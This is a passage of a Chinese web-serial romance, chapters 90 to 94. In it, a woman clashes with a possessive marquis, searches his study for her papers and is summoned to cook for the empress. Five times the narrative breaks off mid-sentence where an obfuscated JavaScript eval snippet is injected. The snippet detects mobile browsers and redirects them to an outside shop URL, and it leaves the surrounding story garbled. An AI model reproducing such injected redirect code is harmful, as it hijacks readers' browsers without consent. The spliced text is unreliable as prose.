细听,那一贯冷沉的声音此刻有些慌乱。 第九十章挑战性。 两人开始再在硕大的侯府逛院子。 晏无咎这侯府大是大,院子也多,就是人太少了,好多院子都不知道被闲置了多久。 晏无咎跟在夏清棠身后,眼看她走的越来越远,他的脸色愈发黑沉,这个女人,到底是想离他有多远。 “你相中哪个了?” 夏清棠停住脚步,思索一番,又带着晏无咎往回返了一段路,“这个院子不错,阳光好,院子里那颗树我也喜欢”。 晏无咎抬眼一看,心情又好了些,这个院子离他的墨韵院还是挺近的,看来这个女人,还不是那么无情。 而且,住的太近,他的事儿确实有点不太好弄,夏清棠这个女人,灵敏聪慧的很。 他好心情的说,“行,找王嬷嬷安排人来打扫。” 【难得晏无咎这么好说话。】 晏无咎眸光闪烁,他平常很不好说话吗?他正要说话,抬头却看到夏清棠已经走进屋子。 晏无咎也抬脚快步跟上。 刚一进屋,就是扑面而来的灰尘和满墙角的蜘蛛网,夏清棠悠闲地欣赏了一会儿,想到什么,她侧过头去看身旁刚跟进来的晏无咎。 果然,她看到晏无咎强装镇定却掩不住苍白的俊俏脸蛋儿。 夏清棠嘴角勾起坏笑。 【桀桀桀,晏无咎这个怕蜘蛛的大男人,现在恐怕已经后悔进这屋子了吧,现在肯定是在想如何优雅的离开这间屋子。】 晏无咎略显苍白的脸蛋儿上又划过一丝窘迫。 【好想快点出来几个蜘蛛吓吓这个晏无咎哦。】 夏清棠心底的坏主意已经萌发,并且,也已经准备实施。 【我得想办法把晏无咎留在这屋子呆一会儿。】 夏清棠眼巴巴的看向晏无咎,“侯爷,这屋子这么久没人住了,肯定有很多虫子,说不定还有老鼠呢,我好害怕,你能不能先在这陪陪我”。 “等王嬷嬷来了,我保证不麻烦你,保证让你离这里远远的。” 晏无咎心底涌出一股怒意,这个女人果然还是想离得他远远的,一直把他往外推。 “行啊,那本侯就大发慈悲的在这里陪陪你吧,别把你给吓坏了。” 夏清棠微笑,“侯爷,你真善良”。 晏无咎冷漠的点了点头。 【切,谁被吓坏还不一定呢。】 夏清棠走进屋子里面,又跑出去捡了跟干树枝,进来屋子就开始挥扫成片成片的蜘蛛网。 晏无咎视线紧紧追随着夏清棠,看到夏清棠明显够不到最上面的蜘蛛网,晏无咎闭了闭眼,淡定走到夏清棠的身后,拿过她手中的干树枝。 “闪开,还得是我来。” 他语气非常冷漠,但其实还透着一股紧绷感。 夏清棠眼底悄悄浮起笑意。 “啊啊啊啊啊!侯爷,你头顶有蜘蛛啊!” 晏无咎脸色登时苍白的像死尸,他手中攥着干树枝慌乱的往自己的头顶乱挥。 夏清棠大叫,“啊啊啊啊!侯爷,大蜘蛛爬上你的天灵盖儿了!”。 晏无咎的脊背升起阵阵凉意,蜘蛛恐怖的形象在他的脑海里挥之不去,他抬起慌乱的双眸看向夏清棠,却敏锐的捕捉到她眼中隐晦的恶劣笑意。 晏无咎神情僵住,还是害怕,但是没有那么怕了,相反,他此刻也想出一个好法子,可以好好缓解缓解他的害怕。 只见,一个足足有一米八的大糙汉猛地抬起手拍了下自己头顶,紧接着,又迈开大步子冲过来。 朝她冲过来的?夏清棠呆住了,晏无咎这货不会是想撞死她吧。 “啊!” 短促的惊呼声过后,夏清棠被重物撞得下后退了几步,低下头错愕的看着弓着腰紧紧抱着她的晏无咎。 整个就是一副小男儿姿态。 夏清棠眨了眨眼,又咽了咽唾沫,伸手试图推开晏无咎,谁曾想呢,反而被抱的更紧了。 晏无咎往日不是冷漠至极就是高傲毒舌的声音,此刻变得哭唧唧,“夏清棠,我头晕”。 夏清棠:“……” 【害怕就害怕,还头晕,是被吓得头晕吗?我错了。】 夏清棠:“侯爷,你头晕我带你去找安大夫,要不,你在这等着,我去把安大夫给叫过来。” 晏无咎声音闷闷的,“不要”。 夏清棠:“那你要怎样。” 晏无咎:“抱你一会儿就好了。” 夏清棠垂眸冷睨着晏无咎的发顶,“哦,看来在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190890|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯爷心中,我的怀抱就好比那灵丹妙药”。 晏无咎深吸一口气,简直是要被香晕了。 “夏清棠,你说错了,你的怀抱明明是比灵丹妙药强的多。” “毕竟,你是我的救世主。” “我们两个是老天爷老天奶都中意的一对儿。” 夏清棠:“……” 【谁、谁跟你一对儿了,还天生一对儿,真是不要脸的臭男人!】 晏无咎:“棠棠,你怎么不说话?” “我感觉我腰有点困。” 话音刚落,晏无咎就直起身子,但仍旧是紧紧抱着夏清棠,只不过是位置调换了,现在是夏清棠在晏无咎怀里。 晏无咎喉间溢出满意的喟叹声,“棠棠,你开心吗?”。 夏清棠:“……我开心啥?” 晏无咎:“开心我们两个是天生一对儿啊。” 夏清棠绝望的闭了闭眼。 【是我错了,不该故意吓唬晏无咎的,看看现在,反而被晏无咎这个黑心肝的给吓唬到了。】 “夏清棠,是你一开始遇见我,就哭着喊着说爱慕我喜欢我,要拯救我。” “现在,你是不想负责了吗?” “是对我腻味儿了,是我太没有挑战性吗?都是我不好。” 夏清棠:“……” 【我有点害怕。。。】 夏清棠深吸一口气,声音冷沉,“晏无咎,你忘性还挺大”。 “之前我是喜欢你,想救你,但是现在我不喜欢了,我也想离开侯府,离开你。” “对!都是你的错,你太没有挑战性,你千篇一律!” “你看看外面的男人,他们赋有挑战性,他们赋有趣味性,我现在就喜欢他们那样的!” “而且,呆在你身边,我恐怕玩不到男人,说不定哪天就横死街头了!” 夏清棠狠狠推开晏无咎,又狠狠把他推出门外。 砰! 房门紧紧闭上,落下一阵阵沉重的灰尘。 夏清棠冷沉又坚毅的声音从里面传出。 “我不知道你是真的喜欢我,还是假的喜欢我。” “若是真的喜欢我,就尽快如了我的愿,把文书还给我。” 第九十一章烈火。 “我帮过你,你也帮过我。” “文书给我,我们就两不相欠。” 晏无咎眸光盯着紧闭的门缝,眼底似有风暴卷起,他攥紧拳头,一言不发,转身离开。 刚带着人进了院子的王嬷嬷就迎面碰到浑身煞气的晏无咎。 王嬷嬷颤抖,“侯爷……”。 晏无咎:“进去打扫。” 王嬷嬷:“遵命,侯爷,保证打扫的干干净净的。” 晏无咎离开了,王嬷嬷面带喜色的朝屋子走去,刚才侯爷那一身的煞气,指定是她瞧错了,那肯定是甜蜜的气息。 “夏姑娘啊!王嬷嬷我带人来给打扫屋子整理院子嘞。” 夏清棠从里面打开屋门。 王嬷嬷丝毫没有察觉到夏清棠脸上的奇怪神色,只是自顾自的说,“夏姑娘,你真厉害,才来这侯府短短几个月,都有自己的院子了”。 夏清棠:“多谢王嬷嬷带人来帮我打扫这院子。” 王嬷嬷哈哈笑了两声,“夏姑娘你道什么谢啊,现在你是侯府的表小姐,怎么着也算是一位主子了,给你打扫,这都是我们应该做的呀”。 “这可是我们的荣幸啊。” 夏清棠微笑着点了点头。 王嬷嬷嘀咕,这当了主子就是不一样啊,看着都稳重多了,之前多咋呼。 王嬷嬷带着一伙人开始了轰轰烈烈的大扫除。 窗外是呼呼的冷风,屋内是热闹的洒扫,看着就像是在为春节做准备,夏清棠睫毛轻颤,搓搓手跺跺脚,扯了扯嘴角。 “我来和你们一起。” 王嬷嬷愣住,她说,“夏姑娘,你是主子,怎么能干这种活呢?”。 夏清棠:“我又不是没当过丫鬟,放心,王嬷嬷,我绝对不会向告你的状。” 这个院子热闹非凡,另外一个院子虽冷寂,却也不静,多的是噼哩哗啦,重物搬动碰撞的声音。 …… 时间又过了许久,夏清棠的院子终于被打扫出来,看着焕然一新的屋子,夏清棠眼里满是笑意,想到什么,那笑意又转瞬即逝。 不过也只住几天而已,她话都说的那么狠了,想必晏无咎很快就会把文书给了她。 “王嬷嬷,谢谢你,这些你拿着。” 王嬷嬷惊愕的摸着手中被塞进来的银子,好多。 她斟酌了一秒,正要和夏清棠再推脱一会儿,却被夏清棠抢了话头。 “拿着吧,别给我在这搞虚的那一套。” 王嬷嬷豪爽的一笑,便把银子装进了袖子里,“夏姑娘,你真是人美心善又聪慧”。 “侯爷能遇到你这样的女子,真是他的福气。” 夏清棠笑了笑,“王嬷嬷,侯爷的屋子和书房,也是你们负责进去打扫吗?”。 王嬷嬷:“不是不是,侯爷屋子和书房都是林侍卫负责的。” “哎哟,夏姑娘,你说这林侍卫真的是像头骡子啊,整日啥也得管,哈哈哈!” 夏清棠:“是吗?林侍卫这么厉害呢。” …… 天色昏暗,夏清棠躺在床上,望着头顶的床帐,心中愁绪又尽数涌出。 江汐汐,辜战,未知的爹妈,晏无咎,文书,离开了去哪儿…… 一桩桩一件件,怎么会有这么多事儿呢? 做饭给晏无咎吃再下药的这个方法,指定是行不通了,该怎么办呢。 要不要直接走人啊,想办法离开京城,就算没有文书,其它地方也不会像京城这么严,总能蒙混过去的。 话虽如此,在离开之前,夏清棠还是想去试试,她想堂堂正正光明正大的走遍全世界。 夏清棠睡着了。 这天晚上,她又做噩梦了,梦中是汹涌的烈火,带着吞噬世间万物的气势,她的身体照旧是被牢牢钉在原地,像是地标性建筑,又像是个监控,只能眼睁睁看着一切发生。 在大火要吞噬她的前一刻,她看到了从大火中冲出来的晏无咎,江汐汐和辜战,他们都是满脸惊慌,看着她这个方向,就好像……就好像要被烧死的人是她。 嘶! 胳膊处传来痛意,她僵硬的低头,瞳孔骤然紧缩,靠!原来在大火里的一直都只是她而已。 “啊——!!!” 惊呼声落下,夏清棠猛地睁开双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190891|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,额头是冷汗,后背衣物也被冷汗浸湿,她看向地上的火盆,火早已灭掉,里面只剩下些灰烬。 她起身下床,脚步甚至还有些虚浮。 夏清棠暗自嘀咕,难道是因为自己睡前玩火?没尿炕就让她流汗? “哈哈。” 夏清棠苦笑一声,去搞了些热水,将身上擦洗了一番。 她又呆坐在床边,手中紧紧攥着那把龙纹锁,思绪飘忽。 为什么每次做梦,她都像是旁观者,可到了最后,又好像都是为了她。 为什么一直梦到江汐汐和辜战,还有那个可恶的晏无咎。 她垂眸看向手心上的龙纹锁,一瞬间,脑子中竟闪过荒唐的念头,会不会是这把龙纹锁搞的鬼。 她摸出一把小夏飞刀,割破自己的指尖,又将血珠滴落在龙纹锁上。 一秒,两秒,三秒……三十秒……六十秒。 “没动静。” 她扯了扯嘴角,唾弃的骂了自己两声。 “去他的,真是魔怔了,这是古代小说又不是玄幻小说,还跟个傻子一样在这儿搞什么滴血认主。” 还在那儿想会不会有什么系统出现,要出现早出现了。 夏清棠擦净锁上的血迹,又小心翼翼的将这把龙纹锁放好。 整了整衣裳,她起身,走出屋子,敏锐的察觉到,侯府的守卫更严密了,人数明显增多。 她眼底冷光闪过,是看贼呢,还是看她呢? “林侍卫!早上好啊。” 埋头苦进的林木停下脚步,“夏姑娘,起这么早”。 夏清棠:“当然了,侯爷都起了,我当然也得起,欸?侯爷今早上吃过了没?” 林木点头,“侯爷早就吃过了,刚才都上朝去了。” 夏清棠佯装失落,“这么早呢?我还想着……唉!”。 林木嘿嘿一笑,“夏姑娘,我知道了,你是想给侯爷做吃食吧,没事儿,侯爷下午回来了,你也能做”。 “放心,夏姑娘你做的,侯爷一定都喜欢吃。” 夏清棠笑着点点头,又问,“林侍卫,你这是要去哪儿?”。 第九十二章在哪儿。 林木挠了挠头,“夏姑娘,我没要去哪儿,我的任务就是要带人守好侯府”。 “夏姑娘,你放心!贼人绝对进不了咱们侯府!” 夏清棠点头,又叹了口气。 林木:“夏姑娘,你咋了?” 夏清棠脸上满是愁容,“其实也没什么事儿,就是我本想着早上早早起来,好能给侯爷做点称心的吃食。”。 “给侯爷一个惊喜,唉!都怪我起的太迟了。” 林木理解了,夏姑娘果然是太爱侯爷了,呜呜呜,双向奔赴的爱情真美好,比安大夫推荐那些乱七八糟的话本子好多了。 “夏姑娘,你还可以在下午侯爷回来之前做好菜啊,到时候,侯爷一回来,就看到你精心为他准备的,侯爷定然会很开心。” 夏清棠纤手轻轻抚上脸颊,语气里带上些小女儿家的害羞和些许担忧。 “真的吗?可是,我到时候应该把做好的菜摆在哪里,侯爷看到才能感觉到满满的惊喜。” 林木沉默了,菜摆在哪里,除了能摆桌子上还能摆哪儿?他的脑海中浮现出侯爷屋子和书房,这两个是侯爷最经常待着的地方。 不行不行!在书房和屋子里简直是胡闹,屋子就算了,侯爷就算再喜欢夏姑娘,肯定也不愿意夏姑娘未经允许私自进入书房。 林木面不改色,脸上依旧是傻呵呵的笑容,“当然是摆在桌子上了”。 夏清棠微笑,“林侍卫说的对,是我一不小心慌了神”。 林木大大咧咧,“那夏姑娘,我就先走了”。 夏清棠喊住林木,欲言又止,脸上甚至浮出红晕,她犹豫着张口,“林侍卫,实不相瞒,前几日,我刚与侯爷闹了些矛盾……”。 “今日的事情,你能不能不要告诉侯爷。” 林侍卫了然,大手一拍,“夏姑娘,你放心吧,我绝对不会告诉侯爷的”。 “夏姑娘,告辞。” 夏清棠与林木分别。 给晏无咎做个吃的?昨天跟他吵得那么凶,今天又给他做吃的,晏无咎不会以为她是在欲擒故纵吧。 算了算了,人在屋檐下,稍稍低低头。 而且……这侯府一夜之间新增了这么多守卫的,是该小心点。 夏清棠一边琢磨一边往厨房走去。 她在想,给晏无咎做个啥吃的呢?满汉全席肯定是不可能的,太累了,做个红枣桂圆糯米粥就挺好,晏无咎喜欢喝。 熬碗粥,再悄悄去书房转一趟。 时间一分一秒过去,夏清棠的心逐渐焦躁起来,看着眼前泛着热气的粥,她第一次觉得,竟然这么难熬。 “夏姑娘,你在熬粥呢?” 王嬷嬷突然探进头来,满脸都是笑。 夏清棠眸光一亮,“是啊,王嬷嬷,就是我现在肚子有点疼,你能不能来帮我稍稍看一会儿”。 王嬷嬷毫不犹豫地答应下来,“放心交给我吧,夏姑娘你尽管去上茅房”。 “这粥的味道绝对不会差一点。” 夏清棠:“多谢王嬷嬷。” 王嬷嬷摆摆手,脸上褶子层层叠叠,“都是王嬷嬷我应该做的”。 夏清棠放心的离开了,反正只要粥不熬干就行,其实,就算熬干了,也能加水。 …… 今日这守卫实在是太紧密了。 可奇怪的是,守卫最严密的不是晏无咎的院子,反而是安瑾和她所在的院子。 夏清棠蹙起眉头,思索片刻,又淡定的走进墨韵院,好似只是回自己原本的屋子里收拾东西。 噼哩哗啦!砰砰砰! 夏清棠进了屋子后,就开始噼哩哗啦的进行了一番在旁人眼里不可理喻的操作。 夏清棠拍拍手,满意的看着自己的杰作,这样就能混淆视听,在那些暗卫的耳朵里,她就是一直在这间屋子里收拾东西。 凭借着身体的本能和脑中对墨韵院各个屋子的记忆,夏清棠虽紧张,但还是顺利的从窗户钻进了晏无咎的书房。 而不远处,她的屋子里仍旧在持续传出噼哩哗啦的收拾东西的声音。 心稍稍安定了些。 晏无咎的书房非常简洁,可以说是一览无余,但是,以她对这些人的认识,书房里十有**都会有什么机关之类的,然后就是通向某个暗道,里面放着什么不可告人的秘密。 夏清棠的后背冷不丁泛上凉意。 她深呼吸一口气,哈哈,真是自己吓自己。 很快,这间书房里出现了异常诡异的画面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193250|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个女人像只壁虎一样,紧贴在墙上,又像只**一样,蹲在地上。 唯一不变的,就是双手一直在摸索,一直在深情地抚摸着墙面和地面。 随着时间的推移,夏清棠的神情越来越凝重,她的眉头皱成川字形,眼底满是不可置信。 她喃喃自语,“竟然什么都没摸到”。 夏清棠站起身,视线又在这间书房环视一圈,最后将目光定在书桌上的砚台上。 整间屋子,只有这个还没碰过了。 她快步走到书桌前,本想着是扭动砚台,却没想到是直接拿起了砚台。 她瞪大眼眸,又对着砚台和下面的桌子魔爪了一番。 “唉!” 是不在书房吗?这里该翻的地方也翻了,想找的机关也是一个都没有。 夏清棠收敛思绪,又悄咪咪的溜出去。 回到自己的屋子,屋内的声响还在继续,她将那些东西拆掉,认认真真地收拾完自己的东西,还好原身的武功厉害,让她能有些傍身的手段,不然,只是靠自己的散打,肯定是不行的。 夏清棠又大摇大摆地将东西一件件搬回自己现在的院子里。 她现在脑海中还有一个选项,晏无咎的房间,书房和卧室,是他最常待的地方,不然,总不能他一直随身携带着吧。 回到厨房,满屋子都是红枣桂圆糯米粥的香甜味道。 王嬷嬷:“夏姑娘,你回来了,这粥差不多也要熬好了。” 夏清棠点头,嘴角勾起笑容,“王嬷嬷,今日真是多亏你了”。 王嬷嬷一挥手,“嗐!这有啥,只要夏姑娘你多在侯爷面前为我美言几句,夏姑娘你让我往东我绝对不往西走”。 夏清棠哈哈笑了两声,“王嬷嬷,你这话可就严重,我可没那么厉害”。 王嬷嬷想到什么,一惯富于算计的脸上露出关心的神色。 “夏姑娘,你刚才去上茅厕,就上了这么长时间?” “哎哟,那可不行啊,你得去看看大夫,我老家那边有个人,就是这上茅厕的一些事儿,**的。” “你不要觉得不好意思,在看病这事儿上,是不能害羞的。” 夏清棠干笑:“……好的,我会去看病的。” 第九十三章这粥谁做的。 晏无咎刚一走进侯府,就注意到林木意味深长的目光。 “眼睛不想要了?” 林木连连摇头,“侯爷,我错了”。 “错哪了?” 林木:“不该一直盯着侯爷你看。” 晏无咎:“小心着点你得眼珠子。” 晏无咎周身气息冷的堪比冰窖,昨日夏清棠说的一番话,今日又在他的脑子中飘了一整天。 真是阴魂不散的女人。 他径直走回墨韵院,回到书房。 晏无咎环视一圈,眸光最后落在书桌上的砚台上,他眼底暗光划过。 “暗九,今日,谁进过我的书房。” 暗九:“回主子,未曾有人进去过,只是下午,夏姑娘有回她的屋子收拾东西。” 晏无咎来了兴味,“夏姑娘?她收拾了多久”。 暗九:“半个多时辰。” 晏无咎嘴角勾起意味不明的弧度,“你们真是一群废物”。 暗卫们丝毫不敢吭声。 晏无咎随意的摆弄着桌上的砚台,目光却看向虚空处,“算了,下次若是看到什么,就当作没看到”。 “听到了吗?” 暗卫们:“属下遵命。” 虽不理解,但主子的命令,就是天,就是地。 晏无咎眼中闪烁着名为兴奋的亮光,是猎物即将捕捉到猎物的信号。 让小兔子,不,那女人是大老虎,让大老虎自己跑进笼子里,那岂不是成了一件,你情我愿,心甘情愿的美事。 晏无咎给自己哄乐了。 他悠闲起身去吃饭,看到餐桌上的菜色,他又愣住了。 红枣桂圆糯米粥的香甜气息一直往他的鼻孔里钻,毫无疑问,其它菜瞬间黯然失色。 晏无咎眸光紧紧盯着这罐粥,却并未开动,而是问,“这粥谁做的”。 心中有了答案,却还是想亲耳听到那个答案。 林木:“是夏姑娘做的。” “夏姑娘熬了整整一个下午,肯定是想给侯爷你一个惊喜。” “惊喜?” 林木斩钉截铁,“对!侯爷,夏姑娘心底绝对是有你,只是碍于某些原因,不敢表达而已”。 晏无咎冷笑,心底绝对有他?昨日,那女人可是亲口说了,她不喜欢他,他晏无咎太没有挑战性,太掉价,太千篇一律,待在他身边,说不定还没玩过男人就直接横死街头了。 “呵。” 玩他还不够,还想去玩别的男人,外面的男人脏**。 晏无咎眸底暗光划过,看着眼前的红枣桂圆糯米粥,他居然可耻的咽了下口水。 今日又是搞什么把戏,欲擒故纵那一套吗,还是说,想趁他不备,在这里面下药。 “给我端过来。” 林木应声将那罐粥端过去,心底暗暗嘀咕,看吧,侯爷和夏姑娘之间,绝对是双向奔赴的爱情。 甜爆了。 …… 夜深人静。 夏清棠躺在床上数羊,她努力克制着脑中常常跑出来的奇怪画面。 渐渐的,数羊的声音消失,可夏清棠的大眼珠子还睁着,她睡不着,更准确的说,是她不敢睡。 随着时间的推移,梦境中的画面越来越真实,甚至,现在在梦境中,她已经丝毫不会觉得有什么不对的地方。 她的心越来越不静了。 最终,还是没抵住汹涌的困意,她睡着了。 毫无疑问,又又又又做梦了。 再睡醒,夏清棠**以为常的从枕边拿过手帕,擦了擦脸上的泪水。 “服了。” “我不会真的有什么神经病吧。” 她一边唾骂一边走出了屋子,今日的气氛和昨日又是截然不同,她明显感觉到,好像是守卫的又变少了,但是不排除是换了一批武功更高的人。 若真是这样的话,那进晏无咎的屋子就不好办了。 她想到林木。 “林侍卫!” 林木回头,朝她竖立个大拇指。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193251|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏清棠疑惑。 林木解释,“夏姑娘,你做的粥,侯爷果然吃的干干净净,我看啊,侯爷就差伸舌头去添了”。 夏清棠顿住:“……” “你这样说你家侯爷,他知道吗?” 林木讪笑两声,“夏姑娘,你别告状就好”。 夏清棠:“我当然不会告状,但是,你不害怕他们告状吗?” 这个他们,自然是指那群暗卫。 林木嘿嘿笑了笑,“夏姑娘,咱们现在再墨韵院门口,这里可是暗卫最少的,而且,我和侯爷关系可是超级好”。 夏清棠垂眸,墨韵院暗卫最少,晏无咎是什么意思,还有,林木最近怎么看着傻兮兮的。 林木跐溜了两下鼻涕,生意里带上鼻音。 “哎,夏姑娘,我先走了,我这两天生病了,侯爷大发慈悲让我休息休息。” “嘿嘿嘿,怎么不算因祸得福呢。” 夏清棠若有所思的看着林木离开的背影,原来最近傻兮兮的,是因为感冒生病了吗。 夏清棠眸光再次看向晏无咎的院子,迈开脚步,却是走向了相反的方向。 缓一缓。 先缓一缓。 然而,事情的发展总是超乎人的意料。 宫里来人了,夏清棠收到了圣旨。 直到魏公公已经带着人离开,她都没有反应过来,脑子仍旧处于宕机状态。 夏清棠紧咬着下唇,手中的圣旨被攥出痕迹,耳边回荡着那句,‘镇北候府表小姐,厨艺精湛,现特召进宫,为皇后娘娘准备膳食’。 进宫,皇后娘娘。 江汐汐说过的话开始反复在脑海中绕圈,朔耀王朝宫里的皇后娘娘其实是渊国的皇后,同时也是她的妈,不对,准确来说,是原主的娘。 可是,那画像和她妈长得一模一样啊。 夏清棠眼尾泛起红意,眼眶有些干涩,她眨眨眼,又露出没心没肺的笑容。 “去他的,他们怎么知道我厨艺精湛的。” 第九十四章学病娇。 夏清棠又将手中的圣旨展开,眸光紧紧落在上面的皇后娘娘四个大字上。 呼—— 她长叹一口气,想起了厨王争霸赛,又想起了初赛时候的异样情况。 看来是蓄谋已久呐。 一直站在旁边的王嬷嬷脸上的喜色早就已经要满的溢出来。 天呐!那可是圣旨啊,要进宫伺候皇后娘娘啊,我咧个乖乖,那皇上得赏赐多少钱呐,我咧个乖乖! 王嬷嬷激动的凑上前,粗亮的声音里满是激动,比夏清棠激动多了,“夏姑娘,您这是要进宫了啊”。 夏清棠语气平淡无波,带着淡淡的死气,“嗯”。 王嬷嬷看到看到夏清棠这副平静的模样,心底更是增添了几分佩服。 夏姑娘真厉害,都要进宫面圣了,居然还能这么淡定,要是她的话,不是吓得半死,就是乐的半**。 王嬷嬷打心底里夸赞夏清棠,“夏姑娘,你真牛”。 夏清棠淡淡的瞥了她一眼,“你也牛”。 夏清棠将手中圣旨随手丢给一旁的林木,林木吓了一跳,这玩意儿可不能随便丢啊。 回到院子里,夏清棠脑子还是宕机的不行,要进宫啊,要不要进宫啊,会不会死掉,会不会见到那个皇后娘娘。 林木:“恭喜夏姑娘离升官发财又进一步!” 夏清棠:“……” 她扶额苦笑,“林侍卫,我谢谢你啊”。 林木声音铿锵有力,“不客气!夏姑娘”。 夏清棠挥挥手,“你先出去吧”。 桌上放着那张圣旨,真是刺眼的很。 “唉……” …… 晏无咎匆匆回了侯府,身上满是怒气。 林木:“侯爷,你今日回来的真早。” 晏无咎声音冷沉:“夏清棠呢?” 林木:“噢噢,夏姑娘在她的院子里。” 晏无咎一言不发,快步往夏清棠的院子走去。 林木追在晏无咎身后,“侯爷,今日皇宫里来人了”。 晏无咎:“嗯,我知道。” 晏无咎风尘仆仆的赶到夏清棠的院子了,一眼就看到门敞的开开的屋子里,悠闲坐着的夏清棠。 夏清棠虽然还沉浸在自己的思绪里,但也听到了仓促的脚步声,她扭头看去,一时愣住,晏无咎?他来干嘛?看着还那么生气,谁欠他金子了。 晏无咎看到夏清棠的这一刻,收敛了周身怒气。 夏清棠依旧是悠闲的坐在椅子上,“侯爷,你来找**嘛啊”,说话的声音里甚至还满是没心没肺和漫不经心。 晏无咎气笑了,这女人到底知不知道自己现在是个什么境地。 他转身关上房门,“你今日接到皇宫里的圣旨了?”。 夏清棠喝茶的动作顿住,“嗯”。 晏无咎眸光落在夏清棠攥紧茶杯的手上,声音不自觉变得温和,“不想去就别去,那不是个什么好差事儿,我的建议是,别去”。 “至于到底要不要去,还是……看你自己吧。” 夏清棠点了点头,手指轻点圣旨上的时间,五天后。 “还有五天。” 晏无咎垂落在腿侧的双手不自觉攥紧,面上的神情却看不出丝毫的异样,“还有五天,你不想的话,就告诉去我,我去解决”。 还是不想放她离开,怎么办,他真的是太自私了。 闻言,夏清棠抬眸看向晏无咎,晏无咎站在背光处,她看不清他的神色,但……她视线下移,看到了晏无咎攥紧的双手。 她嘴角扯起一抹弧度,“侯爷,你的意思是进宫很危险对吧”。 晏无咎:“嗯。” 夏清棠微微歪了歪头,“我都这么危险了,你还是不想让我离开对吗?”。 晏无咎眸光顿住,却是转瞬即逝,很快,他的语气便带上强势和不容拒绝。 “外面太危险了,侯府安全。” “我,是为了你。” 夏清棠嘴角扯起冷笑,“怪不得,怪不得最近咱们侯府的守卫多了那么多呢”。 她最近明显感觉到,她每次一靠近大门或是什么墙根处,就有无数道视线射向自己,这叫什么,变相的囚禁吗? 晏无咎面不改色,声音依旧冷沉,却又夹杂着宣誓般的坚定,“我不会再让你有危险”。 “……” 夏清棠愣住,闭了闭眼,救命,好尬啊,晏无咎这是在哪儿学来的土味儿情话。 夏清棠独自尬完,又是一脸冷笑,“那我还能自由出入这侯府吗?”。 长久的寂静。 晏无咎的沉默已经代表了一切。 夏清棠:合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198212|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着晏无咎这是真要搞病娇囚禁那一套啊。 晏无咎:“昨日,你为我做的红枣桂圆糯米粥,很好吃,我很喜欢。” “今日,还想吃。” 夏清棠眼皮抽了抽,今天,她的母语是无语。 你想吃,想吃自己去做啊! “什么?侯爷,你还想吃?可是,好像不行啊,我昨日为了给你熬粥,都烫到手了,手现在还疼着呢。” “而且,我现在得好好保护着点我的手,万一,五天后,我一不小心,就进宫了呢。” “要是让皇……” 夏清棠未说完的话梗在喉间,她不可置信的垂眸看向自己的手,现在正被晏无咎拉在手里,细细观看。 【他什么时候离我这么近了。】 手中白净的手上果然有几道红痕,他轻轻碰了碰,“疼不疼,我带你去找安瑾拿药膏”。 夏清棠不自在的抽回手,“这点小伤口,恐怕还没去都安大夫的院子里,就愈合了”。 【呵呵呵呵呵,愚蠢的晏无咎,你还不知道,这其实是去你书房里捣乱的时候,留下的小伤口。】 晏无咎眼底划过笑意,连日来紧绷的心也舒坦了许多,他喜欢听到她的心声,他喜欢她这样骂他。 实话说,一点杀伤力都没有,反而,很可爱,很有趣。 夏清棠:“你笑啥?” “你**这条心,就算你笑得再好看,我也不对你没有一丁点兴趣。” “你连外面男人的一根毫毛都比不上。” 